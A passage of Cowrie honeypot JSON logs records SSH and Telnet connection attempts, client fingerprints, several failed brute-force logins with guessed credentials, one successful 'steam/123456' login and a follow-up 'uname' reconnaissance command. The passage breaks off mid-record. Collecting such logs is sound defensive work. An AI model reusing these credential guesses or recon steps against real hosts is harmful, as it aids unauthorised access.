{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:32.866224Z","src_ip":"89.223.69.22","session":"33665cdff2e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13544,"dst_ip":"10.17.0.5","dst_port":22,"session":"28517ebc6f60","protocol":"ssh","message":"New connection: 91.92.40.36:13544 (10.17.0.5:22) [session: 28517ebc6f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:34.200733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:35.365795Z","src_ip":"91.92.40.36","session":"28517ebc6f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:35.368915Z","src_ip":"91.92.40.36","session":"28517ebc6f60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:40.504527Z","src_ip":"91.92.40.36","session":"28517ebc6f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20148,"dst_ip":"10.17.0.5","dst_port":22,"session":"8301c8a03eb2","protocol":"ssh","message":"New connection: 91.92.40.36:20148 (10.17.0.5:22) [session: 8301c8a03eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:41.743533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:42.135333Z","src_ip":"91.92.40.36","session":"8301c8a03eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:42.162851Z","src_ip":"91.92.40.36","session":"8301c8a03eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:42.664806Z","src_ip":"91.92.40.36","session":"28517ebc6f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":56616,"dst_ip":"10.17.0.5","dst_port":22,"session":"21d20a972230","protocol":"ssh","message":"New connection: 73.36.177.174:56616 (10.17.0.5:22) [session: 21d20a972230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:43.876408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:43.884996Z","src_ip":"73.36.177.174","session":"21d20a972230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:43.931515Z","src_ip":"73.36.177.174","session":"21d20a972230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamal","password":"P@ssw0rd","message":"login attempt [kamal/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:44.147611Z","src_ip":"73.36.177.174","session":"21d20a972230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50780,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbef169dd9e3","protocol":"telnet","message":"New connection: 172.81.62.90:50780 (159.203.135.109:23) [session: bbef169dd9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:44.472612Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:45.186805Z","src_ip":"91.92.40.36","session":"8301c8a03eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:45.193370Z","src_ip":"73.36.177.174","session":"21d20a972230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":51376,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc454d394db5","protocol":"ssh","message":"New connection: 150.136.214.177:51376 (10.17.0.5:22) [session: dc454d394db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:45.854681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:45.858950Z","src_ip":"150.136.214.177","session":"dc454d394db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:45.884814Z","src_ip":"150.136.214.177","session":"dc454d394db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123abc","message":"login attempt [user/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:46.028501Z","src_ip":"150.136.214.177","session":"dc454d394db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:46.962151Z","src_ip":"91.92.40.36","session":"8301c8a03eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:47.058991Z","src_ip":"150.136.214.177","session":"dc454d394db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47530,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b4d4db1a988","protocol":"telnet","message":"New connection: 128.199.8.54:47530 (159.203.135.109:23) [session: 6b4d4db1a988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:48.127748Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11350,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1eb502841cc","protocol":"ssh","message":"New connection: 91.92.40.36:11350 (10.17.0.5:22) [session: c1eb502841cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:50.869465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:51.198660Z","src_ip":"91.92.40.36","session":"c1eb502841cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50096,"dst_ip":"159.203.135.109","dst_port":23,"session":"21090696628b","protocol":"telnet","message":"New connection: 128.199.8.54:50096 (159.203.135.109:23) [session: 21090696628b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:51.356090Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:51.892102Z","src_ip":"91.92.40.36","session":"c1eb502841cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser123","message":"login attempt [devuser/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:56.568074Z","src_ip":"91.92.40.36","session":"c1eb502841cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61704,"dst_ip":"10.17.0.5","dst_port":22,"session":"d60af98258bd","protocol":"ssh","message":"New connection: 91.92.40.36:61704 (10.17.0.5:22) [session: d60af98258bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:57.420358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:57.534795Z","src_ip":"91.92.40.36","session":"d60af98258bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:57.538953Z","src_ip":"91.92.40.36","session":"d60af98258bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:58.672425Z","src_ip":"91.92.40.36","session":"c1eb502841cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"password","message":"login attempt [deployer/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:59.212285Z","src_ip":"91.92.40.36","session":"d60af98258bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:00.541694Z","src_ip":"91.92.40.36","session":"d60af98258bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61726,"dst_ip":"10.17.0.5","dst_port":22,"session":"06319c8f184d","protocol":"ssh","message":"New connection: 91.92.40.36:61726 (10.17.0.5:22) [session: 06319c8f184d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:04.335199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:04.718400Z","src_ip":"91.92.40.36","session":"06319c8f184d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:04.726552Z","src_ip":"91.92.40.36","session":"06319c8f184d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57918,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7c7626f3268","protocol":"telnet","message":"New connection: 128.199.8.54:57918 (159.203.135.109:23) [session: e7c7626f3268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:05.590857Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:07.344113Z","src_ip":"91.92.40.36","session":"06319c8f184d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:08.202624Z","src_ip":"91.92.40.36","session":"06319c8f184d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:08.205975Z","src_ip":"91.92.40.36","session":"06319c8f184d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:08.527525Z","src_ip":"91.92.40.36","session":"06319c8f184d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:08.563991Z","src_ip":"91.92.40.36","session":"06319c8f184d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":44064,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d2fa96cd0fa","protocol":"ssh","message":"New connection: 97.74.87.152:44064 (159.203.135.109:22) [session: 5d2fa96cd0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:10.989179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:10.993734Z","src_ip":"97.74.87.152","session":"5d2fa96cd0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 